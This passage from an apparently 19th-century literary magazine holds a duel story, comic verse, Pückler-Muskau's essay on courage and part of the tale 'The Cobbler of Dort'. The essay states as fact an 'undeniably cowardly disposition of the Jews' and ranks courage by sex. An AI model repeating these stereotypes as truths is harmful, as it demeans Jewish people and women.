+lying in a corner of the room, and he had probably been practising the
+very day before; indeed it was almost the only exercise he took at any
+time.
+
+To have made, however, my want of skill a plea for the adoption of
+pistols, might, I knew, be answered by the baron's professing the
+prince to be the worst of shots; besides its being a deviation from the
+established rule in such cases for me to have a voice.
+
+Strange to say, I felt little uneasiness on the subject: I had a quick
+eye, great activity, and superior physical strength; and I had heard
+that the most expert fencer is often at a loss to parry the determined
+assault of an aggressor, even though he should hardly know the use of
+his weapon. A sense, too, of my wrongs, and a desire of revenge, added
+to that moral courage in which I was never deficient, rendered me bold
+and confident.
+
+It was now broad daylight. The _fiacre_ rattled up to the door, and
+the count and I, got into it; the prince following in his cabriolet,
+accompanied by A----. We drove through the _Champs Elyseés_, passed the
+_Port Maillot_, and, without meeting a single carriage, arrived at our
+destination. If there were ever a spot where a lover of nature might die
+almost without regret, it is this favourite resort of the _beau monde_
+of Paris. Avenues ankle-deep in sand, cut into straight lines; _allées_
+without verdure, that lead to nothing; a wood without trees. Such is the
+_Bois de Boulogne_.
+
+The coachman, who had a perfect knowledge of the localities, and the
+object of our morning ride, pulled up at a spot where four roads met;
+and, having alighted, we followed an ill-defined path for a few hundred
+yards, till we came to an opening in the brushwood that was scarcely
+above our heads. It had served for a recent encounter, for I perceived
+the prince step on one side to avoid a stain of blood on one of the
+tufts of grass that here and there rose rankly among the sand. He
+appeared not to notice it, and continued to talk on indifferent subjects
+to his companion.
+
+Having received our swords, all new, and bright, and glittering, as the
+baron promised they should be, and taken up our ground, without waiting
+to cross blades, I precipitated myself on my adversary, and endeavoured
+to beat down his guard: so impetuous was my onset, that he retreated,
+or, rather, I drove him before me for several yards. Those who have
+not experienced it, may conceive what a strange grating sensation the
+meeting of two pieces of steel produces; but they cannot be aware how
+it quickens the pulse, and that there is in every electric shock, such
+fierce rage, and hatred, and revenge, as burnt within me then. Still,
+however, the prince parried my thrusts, and kept me at arm's length. All
+I now remember is, that I made a last desperate lunge--that I almost
+lost my balance--that I felt the point of my adversary's sword enter my
+side, and then a film came over my eyes. When I awoke from this trance,
+I found myself in a crowded hospital, with a _Soeur de Charité_
+leaning over me.
+
+
+
+
+                        LES POISSONS D'AVRIL.
+           REDDY O'DRYSCULL, SCHOOLMASTER, ETC., TO THE EDITOR.
+
+                                      _Water-grass-hill, 20th March._
+SIR,--In answer to your application for further scraps of the late P.
+P., and in reply to your just reproof of my remissness in forwarding,
+as agreed upon, the monthly supplies to your Miscellany, I have only to
+plead as my "apology" the "fast of Lent," which in these parts is kept
+with such rigour as totally to dry up the genial moisture of the brain,
+and desiccate the [Greek: kala reethra] of the fancy. In "justice to
+Ireland" I must add, that, by the combined exertions of patriots and
+landlords, we are kept at the proper starving-point all the year round;
+a blissful state not likely to be disturbed by any provisions in the
+new Irish "poor law." My correspondence must necessarily be _jejune_
+like the season. I send you, however, an appropriate song, which our
+late pastor used to chaunt over his red-herring whenever a friend from
+Cork would drop in to partake of such lenten entertainment as his frugal
+kitchen could afford.
+
+
+
+
+                THE SIGNS OF THE ZODIAC.
+                 A GASTRONOMICAL CHAUNT.
+
+    Sunt Aries, Taurus, Cancer, Leo, Scorpio, Virgo,
+    Libraque et Arcitenens, Gemini, Caper, Amphora, Pisces.
+
+                          I.
+    Of a tavern the Sun every month takes "the run,"
+      And a dozen each year wait his wishes;
+    One month with old Prout he takes share of a trout,
+      And puts up at the sign of THE FISHES.
+    'Tis an old-fashioned inn, but more quiet within
+      Than THE BULL or THE LION--both boisterous;
+    And few would fain dwell at THE SCORPION-hôtel,
+      Or THE CRAB...But this last is an oyster-house.
+
+                         II.
+    At the sign of THE SCALES fuller measure prevails;
+      At THE RAM the repast may be richer:
+    Old Goëthe oft wrote at the sign of THE GOAT,
+      Tho' at times he'd drop in at THE PITCHER;
+    And those who have stay'd at the sign of THE MAID,
+      In desirable quarters have tarried;
+    While some for their sins must put up with THE TWINS,
+      Having had the mishap to get married.
+
+                        III.
+    But THE FISHES combine in one mystical sign
+      A moral right apt for the banquet;
+    And a practical hint, which I ne'er saw in print,
+      Yet a Rochefoucault maxim I rank it:--
+    If a secret I'd hide, or a project confide,
+      To a comrade's good faith and devotion,
+    Oh! the friend whom I'd wish, though he _drank_ like a _fish_,
+      Should be _mute_ as the tribes of the ocean.
+
+
+
+
+                  THE ANATOMY OF COURAGE.
+                 BY PRINCE PUCKLER MUSKAU.
+
+                  IN A LETTER TO A FRIEND.
+
+As for the article of courage and its various manifestations, it is a
+very peculiar thing: I have thought much about it, and observed a great
+deal; and I am convinced that, except in romances, there are very few
+men who at all times show distinguished, and _none at all_ who possess
+_perfect_ courage. I should esteem any man who maintained the contrary
+of himself, and who asserted that he did not know what fear was, a
+mere braggart; but, nevertheless, I should not consider it my duty to
+tell him so, to his face. There are endless _varieties_ of courage,
+which may, however, be comprised under three general dispositions of
+temperament, and six principal rubrics; within this arrangement a
+thousand modifications still remain, but I cannot here pursue them.
+
+We come, first, to three sorts of that courage which alone can be called
+natural, and which, like all that nature gives _directly_, is perfect;
+that is, without any mixture of fear so long as _it lasts_, and which,
+therefore, has only a temporary influence. These are,
+
+1. Courage from passion, such as love, anger, vengeance, and so forth.
+
+2. From hunger, or the want of any thing indispensable to existence.
+
+3. From habit, which, according to a law of nature, hardens completely
+against particular kinds of permanent danger.
+
+All the others are artificial, but not, therefore, imperfect; that is,
+they are not always without admixture of fear, the result either of
+a dawning, or on already advanced state of civilization. They may be
+divided into
+
+_a._ Courage out of vanity.
+
+_b._ Out of a feeling of honour.
+
+_c._ Out of duty; under which head may be reckoned the inspiration of
+religion, and all kinds of enthusiasm; which is also closely allied
+to _a_. At last we come to the physical conformation which supports
+courage, or renders it difficult of exhibition, or puts it altogether
+out of the question.
+
+(There is certainly a fourth kind of courage, in some measure the shady
+side of the others,--courage from avarice. I omitted it, because it is
+rather an enormity, and can only produce criminals; it is, therefore,
+allied to madness, of which I do not speak here.)
+
+They are, firstly, a strong and healthy nervous system, and a sanguine
+temperament.
+
+Secondly, a weak and excitable constitution, which is called _par
+excellence_ a nervous constitution.
+
+Thirdly, that unfortunate defective formation, probably of the nerves
+of the brain, which produces an unconquerable timidity, becomes real
+suffering and a regular malady, rendering all manifestations of courage
+next to impossible.
+
+That these divisions are subject to more or less modification, and
+often branch off into each other through inward motives, or external
+influences, follows of course. I will in few words touch upon these
+powers in their general and universal operation, and examine how the
+different value of the chief combinations are classified.
+
+One, two, and three, I give up; for every one knows that with both man
+and beast, when a beloved object is in danger, or under the influence
+of a natural impulse, or when animated by a blind rage, or pinched
+by hunger, instinct alone acts, and timidity vanishes: but let the
+excitement cease, and the courage disappears also. When full of food,
+the lion flees before the feeblest man; and, when the hunger of the
+terrible boa is quite appeased, it may be laid hold of, without danger.
+It is equally well known that habit would make us forget the sword
+suspended over our heads by a single hair. The soldier, continually in
+battle, is as indifferent to bullets as the boy to the flying ball: and
+yet the same soldier would shudder at a species of danger that the most
+cowardly spy encounters in cold blood, and, in all probability, would
+feel real terror if he were compelled to a conflict with a tiger, which
+the timid Indian, armed with a short sword, and protected only by a
+green shield, will go in search of and subdue. The boldest mariner is
+often absurdly fearful in a carriage; and I have known a brave officer
+who turned pale whenever he was obliged to leap his horse over a hedge
+or a ditch.
+
+But the case is very different when the courage of civilisation makes
+common cause with the physical disposition. If No. 1, in its highest
+perfection, be conjoined with _a_, _b_, and _c_, it is easy to see that
+the individual uniting the whole will be the bravest possible man; when,
+however, No. 1 stands alone, precious as it is, in, and for itself,
+there is but little dependence on it. The weaker No. 2, united to _a_,
+_b_, or _c_, is a rock compared to it: for the last motives have this
+great and invaluable quality--they are lasting, while No. 1 depends
+upon time and circumstance; and then will produce only the _so-called_
+naturally brave, of whom the Spaniards say, _He was brave in his
+day_; No. 1 reduced to his own resources would perhaps encounter with
+vermilion cheeks and perfect cheerfulness, danger that would make No. 2
++ _a_, _b_, or _c_, pale and serious.
+
+Notwithstanding this, it is by no means certain whether No. 1 would
+not be seized with a panic in the fight, for all his red cheeks; but
+No. 2, with his powerful auxiliary, certain that he must fight, is
+quite secure, while the colour returns to his cheek even in the midst
+of the danger. As soon as fear seizes No. 1, it must influence his
+action; with No. 2 + _a_, _b_, or _c_, it is a matter of indifference
+whether he feels fear or no, as it will be neutralized by the permanent
+auxiliary qualifications, and its influence on his actions nullified.
+And, although No. 1 + _a_, _b_, _c_, must always remain the _summum
+perfectum_, yet No. 2 + _a_, _b_, _c_, will sometimes do bolder and more
+surprising things, because the nervous excitement is more strongly acted
+on; especially if enthusiasm be brought into play.
+
+The other sex, for instance, never possess any other than this species
+of courage; and if our manners had not, as well out of vanity, as a
+feeling of honour and duty, entirely dispensed with courage in them, and
+directed their whole education on this principle, then a lady, No. 2 +
+_a_ alone, even without _b_ and _c_, would certainly have surpassed the
+bravest man in point of courage, and would probably have been victor in
+every combat, where only this courage and its endurance, and not merely
+physical strength or skill, should decide.
+
+No. 1 gifted also with _a_, _b_, _c_, would be brave sometimes, and
+sometimes not; if No. 2, however, were equally _a_, _b_, _c_, then the
+disadvantageous side of such a disposition would come into action, and
+No. 2 would in this case be a regular portion, not so much _because_ he
+_must_ be such, like No. 3, but because it would be far more convenient,
+and more suitable to his nature: such would be many men in the lower,
+and the whole dear sex in the highest, degree. The undeniably cowardly
+disposition of the Jews has the same foundation. We have so long denied
+them human and social rights, that the motives of vanity and the sense
+of honour can operate but feebly on them, while that of duty in relation
+to us can scarcely exist at all. Nothing but centuries of a more
+reasonable and humane policy can render this otherwise.
+
+The unfortunate No. 3 would only be courageous in two predicaments; in
+half-frantic religious ecstacy, or in despair, itself the very extremity
+of fear, when he might reach a point beyond the limits of courage. We
+have seen, for example, people destroy themselves out of dread of death!
+
+What I have here said, little as it is, appears to me sufficient
+to point out a mode of drawing new deductions from every possible
+combination; to determine their relative value; and, what is most
+important of all, to excite further reflections, from which all may draw
+practical benefit.
+
+You may think, my dear friend, that I could not occupy myself with
+subjects, without endeavouring to analyse my own portion of courage;
+for who can undertake to study mankind without beginning and ending
+with himself? Are you curious to be informed on this point? It is a
+ticklish thing; but you know that I have a pleasure in being candid, and
+therefore willingly withdraw, at times, the curtains of my most secret
+chamber, to afford my good friends a glimpse. Listen, then: the result
+will be found in that admired _juste milieu_, which certain well-known
+governments have discovered without knowing it, and find that it answers
+admirably well, because it may be translated by the German word _mittel
+mässigkeit_ (moderation, or mediocrity.) This is just the case with me
+also: in the first place, I must own to the feminine temperament No. 2,
+although I would rather have belonged to No. 1; however, laws are not to
+be prescribed to the Creator; and to say of myself what I think, without
+maintaining it as certainly demonstrated, would be too vain on my part:
+fortunately, in addition to my mediocre No. 2, I possess _a_, _b_, _c_,
+thoroughly, at least in a high, if not in the highest degree.
+
+I know the nervous agitation which in some is called bashfulness,
+and in others fear, as do many who would not perhaps admit it so
+candidly; but it does not conquer me, and acts merely as a shower of
+rain does on a man wrapped in a waterproof cloak; the water remains
+on the surface, and does not penetrate. I have before signified that
+physical conditions, that is, stronger or weaker condition of the
+nerves, produce great variations, particularly in the dispositions 1
+and 2. The advantageous effect of a good breakfast on the courage has
+become proverbial among the French; and all those who are in the least
+"nervous" must acknowledge that there is a good deal of truth in it. The
+young libertine in Gil Blas was perfectly in the right to answer, when
+he was called at five in the morning to fight a duel, "That he would
+not rise at such an hour for a rendezvous with a lady, much less to have
+his throat cut by a man;" at eleven o'clock, when he had breakfasted,
+and was thoroughly awake--not before--he got up, went out, and was run
+through the body: a strong illustration of the folly of getting up, too
+soon. However, when it must be, the admirable _a_, _b_, _c_, can conquer
+even distasteful fasting, as they can everything else, whether they act
+together or singly: with the help of this _æs triplex_, my littleness
+has fought its way very comfortably through the world, as I hope it will
+continue to do, without any great injury accruing, or being likely to
+accrue, to my vanity, my sense of honour, or my sense of duty.
+
+Being, in addition, half poet and half enthusiast, even the courage of
+rashness was not unknown to me in my youthful days; notwithstanding
+which, it is possible that, without my _a_, _b_, _c_, I might have run
+away when it was dangerous to stay.
+
+Now that I have grown up a civilised man, I observe one peculiar shade.
+In danger, I think far less, sometimes not at all, of the danger itself;
+but I am _afraid of my fear_; that is, I am afraid that others should
+observe I am not quite so much at my ease, as my vanity and my sense
+of honour (duty has nothing to do with it) require I should be. At the
+very moment of danger, this feeling, as well as every other that can be
+called anxiety, ceases of itself; because action makes stronger claims
+on the spirit's strength, and the weaker affections fall naturally into
+the background. This weakness (for such it certainly is) of extreme
+anxiety respecting the opinion of men, is so characteristic of me, that
+I feel it continually whenever I am called upon to do anything that
+brings me under observation,--for example, whether I make a speech,
+act a part, or encounter mortal danger. Herewith must not, however, be
+reckoned more or less physical excitement, or when natural impulses such
+as I, II, III, come into play. I can, without boasting, affirm, with a
+good conscience, that the mortal danger is, in relation to the others,
+the lightest of the three; and you will laugh when I tell you, that the
+strongest fit of timidity that ever seized upon me was, absurdly enough,
+on one occasion when I was to _sing_ in public!--an unlucky passion
+that possessed me at one time in my foolish life, and which I renounced
+merely out of vexation at this ridiculous bashfulness. If I were writing
+about another, I should, out of civility, call such a disposition,
+only an exaggerated sense of honour,--at most vanity, well-founded
+vanity. But I dare not flatter myself, and therefore I give it its true
+name,--the fear of men; for bashfulness is a part of fear, as audacity
+is of courage, but of courage, so to say, without soul, consequently
+without dignity, as bashfulness is fear without shame. It must not be
+overlooked that the greatest courage cannot, at the bottom, dispense
+with audacity, and the greatest men in profane history possessed it. It
+is, however, one of the greatest gifts for the world; and many deceive
+through their whole lives, by the help of audacity alone. It is not
+necessary to say that it must, however, be coupled with understanding,
+and so applied as we must in public go decently clothed. I am sorry
+that I have it not, and can only obtain it by artificial means; but
+it appears to me of so much importance, that I am half inclined, dear
+Schefer, to favour you with a second dissertation, if it were not a
+principal maxim of my book and letter-writing trade not to give too
+much of what is valuable. You are quit for the fear this time; and, as
+you are but too well acquainted with me, I see you smile, and hear you
+distinctly exclaim, "Another fancy-piece to look like truth." My dear
+Schefer, a good conjurer shows all the cards, and yet you only see what
+he pleases to let you. You and the Secret Society understand me. Like
+Wallenstein, I keep my last word _in petto_. This is my last but one.
+
+
+
+
+                    THE SONG OF THE COVER.
+                    (NOT A SPORTING ONE.)
+
+My Dear Mr. Editor.--I have been for some time troubled by a slight
+longing to illustrate the title-page (or rather the Cover and its pretty
+_pages_) of the Miscellany. Today I was taken suddenly worse with this
+desperate symptom of the _cacoethes scribendi_, but at length being
+safely delivered of the following doggrel, you will be glad to hear that
+I am now "as well as can be expected."
+
+       Ever, my dear Mr. Editor, yours truly,
+                                                  R. J.
+
+
+         THE SONG OF THE COVER.
+
+    "SING a song of half-a-crown--
+      Lay it out this minute:
+    Buy the book, for half the town
+      Want to know what's in it.
+    Had you all the cares of Job,
+      You'd then forget your troubles,"
+    Cried Cupid, seated on the globe,
+      Busy blowing bubbles.
+
+    Rosy Summer, pretty Spring,
+      See them scattering flowers--
+    "Catch who can!" the song they sing:
+      Hearts-ease fall in showers.
+    Autumn, tipsy with the grape,
+      Plays a pipe and tabor;
+    Winter imitates the ape,
+      Mocking at his neighbour.
+
+    Bentley, Boz, and Cruikshank, stand,
+      Like expectant reelers--
+    "Music!"--"Play up!"--pipe in hand,
+      Beside the _fluted_ pillars!
+    Boz and Cruikshank want to dance,
+      None for frolic riper,
+    But Bentley makes the first advance,
+      Because he "pays the piper."
+
+    "Then sing a song of half-a-crown,
+      And make a merry race on't
+    To buy the book, all London town;
+      There's wit upon the _face_ on't.
+    Had you all the cares of Job,
+      You'd then forget your troubles,"
+    Cried Cupid, seated on the globe,
+      Busy blowing bubbles.
+
+
+
+
+                 THE COBBLER OF DORT.
+        BY THE AUTHOR OF "MEPHISTOPHELES IN ENGLAND."
+
+    "Oh! the world's nothing more than a cobbler's stall,
+      Stitch, stitch, hammer, hammer, hammer!
+    And mankind are the boots and the shoes on the wall;
+      Stitch, stitch, hammer, hammer, hammer!
+          The great and the rich
+          Never want a new stitch;
+      They fit like a glove before and behind,
+      Are polished and neat, and always well lined,
+    And thus wear till they come to life's ending:
+          But the poor and the mean
+          Are not fit to be seen,--
+      They are things that none would borrow or steal,
+      Are out at the toes, and down at the heel,
+    And are always beyond any mending.
+    So the world's nothing more than a cobbler's stall,
+      Stitch, stitch, hammer, hammer, hammer!
+    And mankind are the boots and the shoes on the wall;
+      Stitch, stitch, hammer, hammer, hammer!
+
+"Jacob!--Jacob Kats, I say!" exclaimed a shrill female voice.
+
+"Stitch, stitch, hammer, hammer, hammer!" continued the singer.
+
+"Are you deaf, mynheer?"
+
+"And mankind are the boots and the shoes on the wall."
+
+"Do leave off your singing, and open the door; the burgomaster will be
+angry that I have stayed so long."
+
+"Stitch, stitch, hammer, hammer, hammer!"
+
+"You are enough to provoke the most patient girl in Dort. Open the door,
+Jacob Kats! Open the door this instant, or you shall never have any more
+work from me!"
+
+"Ya?" drawled the cobbler interrogatively, as he slowly opened the door
+of his stall.
+
+"Is this the way you behave to your customers, mynheer?" asked a
+smartly-dressed, plump-faced, pretty little woman, in rather a sharp
+tone;--"keeping them knocking at the door till you please to open it?
+It's not respectful to the burgomaster, Jacob Kats!"
+
+"Ya!" replied the mender of leather.
+
+"Here, I want you to do this very neatly," said the girl, producing
+a small light shoe, and pointing to a place that evidently wanted
+repairing.
+
+"Ya!" said Jacob Kats, examining with professional curiosity the object
+spoken of.
+
+"The stitches have broken away, you see; so you must fill up the place
+they have left, with your best workmanship," she continued.
+
+"Ya!" he responded.
+
+"And mind you don't make a botch of it, mynheer!"
+
+"Ya!"
+
+"And let me have it in an hour, for the burgomaster has given me leave
+to go to a dance."
+
+"Ya!"
+
+"And be sure you make a reasonable charge."
+
+"Ya."
+
+"I shall be back in an hour," said the little woman, as she opened the
+door to let herself out of the stall; "and I shall expect that it will
+be ready by that time:" and away she went. "Ya!" replied Jacob for the
+last time, as he prepared to set briskly about the job, knowing that his
+fair customer was too important a personage to be disappointed. "It is
+not every cobbler that can boast of being employed by a burgomaster's
+nursery-maid," thought Jacob; and Jacob was right.
+
+Now every one knows what sort of character a cobbler is; but a Dutch
+cobbler is the _beau idéal_ of the tribe, and the cobbler of Dort
+deserved to be king of all the cobblers in Holland. He was the finest
+specimen of "the profession" it was possible to meet with; a profession,
+by-the-by, which his forefathers from time immemorial had followed, for
+none of them had ever been, or ever aspired to be, shoemakers. Jacob
+could not be said to be tall, unless a height of five feet one is so
+considered. His body was what is usually called "punchy;" his head round
+like a ball, so that it appeared upon his shoulders like a Dutch cheese
+on a firkin of butter; and his face, having been well seamed by the
+ravages of the small-pox, closely resembled a battered nutmeg-grater,
+with a tremendous gap at the bottom for a mouth, a fiery excrescence
+just above it, for a nose, and two dents, higher still, in which were
+placed a pair of twinkling eyes. It will easily be understood from this
+description, that our hero was by no means handsome; but his father
+and his grandfather before him, had been remarkable for the plainness
+of their looks, and therefore Jacob had no earthly reason to desire to
+put a better face on his business than his predecessors. Much cannot be
+said of his dress, which had little in it differing from that of other
+cobblers. A red woollen cap ornamented his head,--a part of his person
+that certainly required some decoration; long sleeves, of a fabric which
+could only be guessed at, in consequence of their colour, cased his
+arms; half-a-dozen waistcoats of various materials covered the upper
+part of his body; and his nether garments were hid under an immense
+thick leather apron,--a sort of heir-loom of the family.
+
+But Jacob had other _habits_ beside these; he drank much--he smoked
+more--and had an equal partiality for songs and pickled herrings. Alone,
+which is something like a paradox, he was the most sociable fellow
+in existence; he sang to himself, he talked to himself, he drank to
+himself, and was evidently on the most friendly terms with himself:
+but when any one made an addition to the society, he became the most
+reserved of cobblers; monosyllables were all he attempted to utter; nor
+had he any great variety of these, as may have been observed in the
+preceding dialogue. His stall was his kingdom; he swayed his hammer,
+and ruled his lapstone vigorously; and, as other absolute monarchs have
+done,--in his subjects he found his _tools_. His place of empire was
+worthy of its ruler. It had originally been an outhouse, belonging to
+one of those low Gothic-looking dwellings with projecting eaves and
+bow windows that may be seen in the unfashionable parts of most Dutch
+towns; and its interior, besides a multitude of objects belonging to the
+trade, contained a variety of other matters peculiar to himself. Such
+spaces on the wells as were not hidden from view by superannuated boots
+and shoes, were covered with coloured prints from designs by Ostade,
+Teniers, and others, representing boors drinking, playing at cards or
+at bowls, and similar subjects. On a heavy three-legged stool, the
+throne of the dynasty of the Kats, sat the illustrious Jacob, facing the
+window to receive all the advantages the light could give: before him
+were the paraphernalia of his vocation: on one side was a curious old
+flask, smelling strongly of genuine Schiedam, which invariably formed "a
+running accompaniment" to his labours; and on the other was an antique
+pipe, short in the stem, and having a bowl on which the head of a satyr
+had been carved, but constant use for several generations had made the
+material so black, that it might have been taken for the frontispiece of
+a more objectionable personage.
+
+Jacob Kats had been diligently waxing some flax preparatory to
+commencing the repairs of the burgomaster's nursery-maid's shoe,
+occasionally stopping in his task to moisten his throat with the
+contents of the flask, which, either from a prodigal meal of pickled
+herrings having made him more thirsty than usual, or the Schiedam
+appearing more excellent, had been raised to his mouth so often that
+day, that it had tinged his nose to a more luminous crimson, and had
+given to his eyes a more restless twinkling, than either had known
+for some time; when, having prepared his thread, laid it carefully on
+his knee ready for immediate use, and placed the object on which his
+skill was to be exercised close at hand, he turned his attention to his
+pipe,--it being an invariable rule of his progenitors never to attempt
+anything of importance without first seeking the stimulating influence
+of the Virginian weed. On examining his stock of tobacco, he discovered
+that he had barely enough for one pipe.
+
+"Donner und blitzen! no more? Bah! I wish to the Teufel my pipe would
+never want refilling," exclaimed the cobbler of Dort, filling the bowl
+with the remains of the tobacco; and then, having ignited it with the
+assistance of flint, steel, and German tinder, puffed away at the tube,
+consoling himself with the reflection that, when his labour was done,
+he should be able to procure a fresh supply. He smoked and stitched,
+and stitched and smoked, and smoked and stitched again, and, while his
+fumigations kept pace with his arms, his thoughts were by no means idle;
+for, to tell the exact truth, he became conscious of a flow of ideas
+more numerous and more ambitious than he had ever previously conceived.
+Among other notions which hurried one another through his pericranium,
+was one particularly interesting to himself. He thought it was high time
+to attempt something to prevent the ancient family of the Kats becoming
+extinct, as he was now on the shady side of forty, enjoying in single
+blessedness the dignities of Cobbler of Dort, and, if such a state
+continued, stood an excellent chance of being the last of his name who
+had filled that honourable capacity. He could not help condemning the
+taste of the girls of his native town, who had never looked favourably
+upon his advantages: even Maria Van Bree, a fair widow who had signified
+her affection every day for fifteen years by repeating a joke upon his
+nose, only last week had blighted his dearest hopes by marrying an old
+fellow with no nose at all. Jacob thought of his solitary condition, and
+fancied himself miserable. He became sentimental. His stitches were made
+with a melancholy precision, and in the intensity of his affliction he
+puffed his miserable pipe; but, as song was the medium through which
+he always expressed his emotions, his grief was not tuneless: in tones
+that, without any exaggeration, were wretched to a degree, he sung the
+following exquisite example of Dutch sentiment:
+
+    "Ach! had ik tranen kon ik schreijen,
+      De smart knaagt mij het leven af;
+    Neen wanhoop spaargeen folte ringen,
+      Stort bij Maria mij in't graf."
+
+Which is most appropriately rendered thus:
+
+    "Ah! had I tears, so fast they'd spring,
+      Nought from these eyes the flood could wipe out;
+    But had I songs, I could not sing,--
+      The false Maria's put my pipe out."
+
+The conclusion of this pathetic verse brought to his mind the
+extraordinary circumstance of his pipe (the one he had been smoking)
+continuing to be vigorously puffed long after it had usually required
+replenishing. He might have exhausted three in the same time. He
+also became conscious of a curious burning sensation spreading from
+immediately under his red cap to the very extremities of his ten
+toes. The smoke he inhaled seemed very hot; and the alarm which his
+observations on these matters created was considerably increased by
+hearing a roar of small shrill laughter burst from under his very nose!
+
+"Donner und blitzen!" exclaimed the bewildered cobbler, as he took the
+pipe out of his mouth and looked around him to discover from whence the
+sounds proceeded.
+
+"Smoke away, old boy! Smoke away! You won't smoke me out in a hurry, I
+can tell ye."
+
+Jacob directed his eyes to the place from whence came this strange
+address, and his astonishment may be imagined at perceiving that _the
+words were uttered by his pipe!_ The ill-looking, black satyr, carved on
+the bowl, seemed to cock his eye at him in the most impertinent manner,
+twisted his mouth into all sorts of diabolical grimaces, and laughed
+till the tears ran down his sooty cheeks. Jacob was, as he himself
+expressed it, "struck all of a heap."
+
+"You know you wished to the Teufel your pipe would never require
+refilling," said the voice as plainly as it could, while laughing all
+the time; "so your desire is now gratified. You may smoke me till the
+day of judgement."
+
+Jacob, in fear and trembling, recalled to mind his impious wish; and
+even his regret for having been jilted by the widow Van Bree was
+forgotten in the intensity of his alarm.
+
+"Smoke away, Jacob Kats!--I'm full of capital tobacco," continued the
+little wretch, with a chuckle.
+
+The terrified cobbler was thinking of refusing, yet too much afraid of
+the consequences; while his tormentor, distorting his hideous features
+into a more abominable grin, shrieked out in his shrill treble,
+
+"You _must_ smoke me--no use refusing _now_! Here I am, old boy, with a
+full bowl that will never burn out--never, never, never! so you'd best
+smoke." And then, as if noticing his indecision, he exclaimed, with a
+fresh burst of horrid laughter, "Well, if you won't, I'll make you: so,
+here goes!" and, before his wretched victim was aware of the
+manoeuvre, he jumped stem foremost into his mouth.
+
+"Now, smoke away, old boy, or worse will follow!" said the little satyr
+threateningly.
+
+Jacob was in such a state of fright that he did not dare to refuse; but
+the first mouthful of smoke he inhaled seemed to choke him, as if it was
+the burning flames of sulphur, and, gasping for breath, he brushed the
+pipe from his mouth.
+
+"Smoke away, Jacob!--capital tobacco!" screamed the voice in a roar of
+more fiendish mirth, as he immediately regained his position. In vain,
+with one hand after the other, the miserable cobbler knocked the pipe
+from between his teeth: as fast as he struck it away, it returned to
+the same place. "Smoke away, old boy!" continued his unrelenting enemy,
+as often as his fits of laughter would allow. "Smoke away!--capital
+tobacco!"
+
+Jacob Kats seemed in despair, when, casting his eyes upon his lapstone,
+a way of getting rid of the accursed pipe presented itself to his mind.
+He threw down the grinning demon on the floor, and with his lapstone
+raised above his head was about to crush it at a blow. "Smoke away,
+old boy!" fixing itself again firmly between his teeth, before Jacob
+had time to put his intention into execution, jeeringly continued the
+detested voice; "smoke away!--capital tobacco!"
+
+With one great effort, such as great minds have recourse to on great
+occasions. Jacob let fall the stone, with a vigorous grasp caught hold
+of the grinning pipe, and, as he thought, before it could make a guess
+as to what he was about to do, dashed it into a thousand pieces upon the
+lapstone at his feet.
+
+"Donner und blitzen!" cried the delighted cobbler; "I have done for you
+now!"
+
+Alas for all sublunary pleasures!--alas for all worldly
+convictions!--instead of his enemy being broken into a thousand pieces,
+it was multiplied into a thousand pipes,--every one a facsimile of the
+original, each possessing the same impertinent cock of the eye, each
+disclosing the same satirical twist of the mouth, and all laughing like
+a troop of hyenas, and shouting in chorus, "Smoke away! smoke away, old
+boy!--capital tobacco!"
+
+The patience of a Dutchman may be great, but the concentrated patience
+of all Holland could not stand unmoved on so trying an occasion as that
+which occurred to Jacob Kats. He saw his multitudinous tormentors form
+into regular rank and file, and then, as if his mouth had been a breach
+which he had "armed to the teeth," they presented their stems like so
+many bayonets, and charged in military fashion, screaming, laughing,
+and shouting, in a manner sufficiently terrible to scare the senses
+out of all the cobblers in Christendom. Slowly the trembling wretch
+retreated before the threatening phalanx; but he was surrounded--his
+back was against the wall--there was no escape; and with one leap the
+enemy were in the citadel. Extraordinary as it may appear, Jacob did
+not lose his presence of mind. As they were all jostling, and giggling,
+and crying out to be smoked, the unconquered cobbler firmly grasped the
+whole mass of his foes in both his hands to make a last attempt at their
+destruction, by throwing them into a tub of water, in which he soaked
+his leather, that happened to be just within reach; but, in a manner
+inexplicable to him, he felt that the more vigorously he grasped them
+in a body, the more rapidly they seemed to shrink from his touch, till
+nothing was left but the original pipe, which suddenly slipped out of
+his hands.
+
+"Well then, you _won't_ smoke me," coolly remarked the sooty
+demon;--"but," added he, in tones that made the marrow in Jacob's bones
+turn cold as ice, "I'LL SMOKE YOU!"
+
+While the last of the family of the Kats was reflecting upon the meaning
+of those mysterious words, to his increasing horror he observed the
+well-smoked features of the satyr gradually swell into an enormous bulk
+of countenance, as the same process of enlargement transformed the stem
+into legs, arms, and body, proportionately huge and terrific; but the
+monstrous face still wore its original expression, and seemed to the
+unhappy Dutchman as if he was looking at the cock of his eye through
+a microscope. Without saying a word, the monster, with the finger and
+thumb of his right hand, caught up Jacob Kats by the middle, just as
+an ordinary man would take up an ordinary pipe, and with his left hand
+twisted one of his victim's legs over the other, as if they had been
+made of wax, till they came to a tolerable point at the foot; then,
+taking from a capacious pocket at his side a moderate-sized piece of
+tobacco, with the utmost impudence imaginable, he rubbed it briskly upon
+Jacob's unfortunate nose, which, as would any fiery nose under such
+circumstances, was burning with indignation; and the weed immediately
+igniting, as the poor cobbler lay with his head down gasping for breath,
+he thrust the flaming mass into his mouth, extended a pair of jaws
+that looked like the lock of the Grand Canal, quietly raised Jacob's
+foot between them, and immediately began to smoke with the energy of a
+steam-engine! Miserable Jacob Kats!--what agonies he endured! At every
+whiff the inhuman smoker took, he could feel the narcotic vapour, hot as
+a living coal, drawn rapidly down his throat, through his veins and out
+at his toes, to be puffed in huge volumes out of the monster's mouth,
+till the place was filled with the smoke. Jacob felt that his teeth were
+red-hot,--that his tongue was a cinder,--and big drops of perspiration
+coursed each other down his burning cheeks, like the waves of the Zuyder
+Zee on the shore when the tide's running up. Jacob looked pitiably at
+his tormentor, and thought he discerned a glimpse of relenting in the
+atrocious ugliness of his physiognomy. He unclosed his enormous jaws,
+and removed from them the foot of his victim. The cobbler of Dort
+congratulated himself on the approach of his release.
+
+"Jacob Kats, my boy!" exclaimed the giant, in that quiet patronising
+kind of voice all great men affect, carelessly balancing Jacob on his
+finger and thumb at a little distance from his mouth, as he threw out
+a long wreath of acrid smoke; "Jacob, you are a capital pipe,--there's
+no denying _that_. You smoke admirably,--take my word for it;" and
+then, without a word of pity or consolation, he resumed his unnatural
+fumigations with more fierceness than ever. Jacob had behaved like a
+martyr,--he had shown a spirit worthy of the Kats in their best days;
+but the impertinence of such conduct was not to be endured. He would a
+minute since have allowed himself to have been dried into a Westphalia
+ham, to which state he had been rapidly progressing, but the insult
+he had just received had roused the dormant spirit of resistance in
